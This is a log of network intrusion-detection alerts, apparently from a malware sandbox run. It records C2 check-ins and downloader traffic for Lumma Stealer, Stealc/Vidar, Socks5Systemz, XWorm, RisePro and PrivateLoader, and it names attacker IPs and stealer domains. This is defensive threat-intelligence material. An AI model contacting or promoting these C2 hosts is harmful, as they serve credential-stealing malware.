Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:58.158072+0200
SID:	2055493
Severity:	1
Source Port:	49774
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:09.447286+0200
SID:	2028765
Severity:	3
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 46.8.231.109 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:31.860392+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49750
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:24.390350+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49850
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:04.383927+0200
SID:	2028765
Severity:	3
Source Port:	49780
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:02.934957+0200
SID:	2049467
Severity:	1
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:02.934957+0200
SID:	2050112
Severity:	1
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:29.045645+0200
SID:	2049467
Severity:	1
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:29.045645+0200
SID:	2050112
Severity:	1
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:12.548856+0200
SID:	2049467
Severity:	1
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:12.548856+0200
SID:	2050112
Severity:	1
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T03:18:26.567722+0200
SID:	2044243
Severity:	1
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:44.412761+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:21.262740+0200
SID:	2028765
Severity:	3
Source Port:	49793
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:14.522771+0200
SID:	2803270
Severity:	2
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:49.064854+0200
SID:	2049467
Severity:	1
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:49.064854+0200
SID:	2050112
Severity:	1
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:07.863067+0200
SID:	2049467
Severity:	1
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:07.863067+0200
SID:	2050112
Severity:	1
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:01.037640+0200
SID:	2028765
Severity:	3
Source Port:	49778
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 176.113.115.33

Timestamp:	2024-08-30T03:17:06.336770+0200
SID:	2803270
Severity:	2
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 77.105.164.24

Timestamp:	2024-08-30T03:17:31.703607+0200
SID:	2046269
Severity:	1
Source Port:	49751
Destination Port:	50505
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 77.105.164.24

Timestamp:	2024-08-30T03:17:31.703607+0200
SID:	2049060
Severity:	1
Source Port:	49751
Destination Port:	50505
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 85.209.133.150

Timestamp:	2024-08-30T03:19:09.246797+0200
SID:	2855924
Severity:	1
Source Port:	49820
Destination Port:	6677
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:38.999468+0200
SID:	2049467
Severity:	1
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:38.999468+0200
SID:	2050112
Severity:	1
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:33.297168+0200
SID:	2049467
Severity:	1
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:33.297168+0200
SID:	2050112
Severity:	1
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 85.209.133.150 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:21.632686+0200
SID:	2852870
Severity:	1
Source Port:	6677
Destination Port:	49820
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:06.879936+0200
SID:	2028765
Severity:	3
Source Port:	49782
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:42.761668+0200
SID:	2049467
Severity:	1
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:42.761668+0200
SID:	2050112
Severity:	1
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:05.910145+0200
SID:	2049467
Severity:	1
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:05.910145+0200
SID:	2050112
Severity:	1
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:51.961586+0200
SID:	2028765
Severity:	3
Source Port:	49765
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 85.209.133.150 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:04.863786+0200
SID:	2852870
Severity:	1
Source Port:	6677
Destination Port:	49820
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 - Source IP: 85.209.133.150 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:19:04.863786+0200
SID:	2852874
Severity:	1
Source Port:	6677
Destination Port:	49820
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:01.950966+0200
SID:	2049467
Severity:	1
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:01.950966+0200
SID:	2050112
Severity:	1
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:43.467823+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:57.407979+0200
SID:	2049836
Severity:	1
Source Port:	49770
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:57.407979+0200
SID:	2054653
Severity:	1
Source Port:	49770
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:40.838143+0200
SID:	2049467
Severity:	1
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:40.838143+0200
SID:	2050112
Severity:	1
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound - Source IP: 192.168.2.4 - Destination IP: 85.209.133.150

Timestamp:	2024-08-30T03:19:02.578172+0200
SID:	2853192
Severity:	1
Source Port:	49820
Destination Port:	6677
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:55.740564+0200
SID:	2028765
Severity:	3
Source Port:	49769
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:16.743976+0200
SID:	2028765
Severity:	3
Source Port:	49791
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:12.976627+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T03:17:57.557997+0200
SID:	2055483
Severity:	1
Source Port:	59649
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:26.984364+0200
SID:	2028765
Severity:	3
Source Port:	49797
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:17.208284+0200
SID:	2049467
Severity:	1
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:17.208284+0200
SID:	2050112
Severity:	1
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:58.300645+0200
SID:	2049836
Severity:	1
Source Port:	49774
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:58.300645+0200
SID:	2054653
Severity:	1
Source Port:	49774
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T03:17:02.978783+0200
SID:	2054711
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:10.625006+0200
SID:	2049467
Severity:	1
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:10.625006+0200
SID:	2050112
Severity:	1
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:55.979414+0200
SID:	2049836
Severity:	1
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:17:55.979414+0200
SID:	2054653
Severity:	1
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:12.689373+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:57.522443+0200
SID:	2028765
Severity:	3
Source Port:	49773
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:11.608307+0200
SID:	2049467
Severity:	1
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:11.608307+0200
SID:	2050112
Severity:	1
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:16.217382+0200
SID:	2049467
Severity:	1
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:16.217382+0200
SID:	2050112
Severity:	1
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] RisePro TCP (Token) - Source IP: 77.105.164.24 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:28.554052+0200
SID:	2046266
Severity:	1
Source Port:	50505
Destination Port:	49751
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:30.668335+0200
SID:	2044244
Severity:	1
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) - Source IP: 192.168.2.4 - Destination IP: 85.209.133.150

Timestamp:	2024-08-30T03:19:09.375060+0200
SID:	2852923
Severity:	1
Source Port:	49820
Destination Port:	6677
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T03:17:09.283400+0200
SID:	2803270
Severity:	2
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:00.263887+0200
SID:	2028765
Severity:	3
Source Port:	49777
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:29.319129+0200
SID:	2028765
Severity:	3
Source Port:	49799
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:25.229889+0200
SID:	2028765
Severity:	3
Source Port:	49795
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:32.774950+0200
SID:	2044248
Severity:	1
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:35.354012+0200
SID:	2049467
Severity:	1
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:35.354012+0200
SID:	2050112
Severity:	1
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:58.882680+0200
SID:	2049467
Severity:	1
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:58.882680+0200
SID:	2050112
Severity:	1
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:00.294602+0200
SID:	2049467
Severity:	1
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:00.294602+0200
SID:	2050112
Severity:	1
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Response - Source IP: 195.10.205.48 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:01.778636+0200
SID:	2054710
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:23.139686+0200
SID:	2028765
Severity:	3
Source Port:	49794
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:17:58.198157+0200
SID:	2049087
Severity:	1
Source Port:	49773
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 94.130.188.148 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T03:17:58.198317+0200
SID:	2051831
Severity:	1
Source Port:	443
Destination Port:	49773
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 94.130.188.148

Timestamp:	2024-08-30T03:18:18.061636+0200
SID:	2028765
Severity:	3
Source Port:	49792
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:43.976018+0200
SID:	2049467
Severity:	1
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:43.976018+0200
SID:	2050112
Severity:	1
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T03:18:00.873481+0200
SID:	2055493
Severity:	1
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 154.216.17.134

Timestamp:	2024-08-30T03:17:06.048678+0200
SID:	2803270
Severity:	2
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:04.975925+0200
SID:	2049467
Severity:	1
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:04.975925+0200
SID:	2050112
Severity:	1
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:13.474329+0200
SID:	2049467
Severity:	1
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:13.474329+0200
SID:	2050112
Severity:	1
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T03:17:54.992048+0200
SID:	2055575
Severity:	1
Source Port:	57519
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:03.937503+0200
SID:	2049467
Severity:	1
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:03.937503+0200
SID:	2050112
Severity:	1
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:20.228425+0200
SID:	2049467
Severity:	1
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:19:20.228425+0200
SID:	2050112
Severity:	1
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:40.278288+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T03:17:38.763142+0200
SID:	2803304
Severity:	3
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.214

Timestamp:	2024-08-30T03:18:55.284647+0200
SID:	2049467
Severity:	1
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

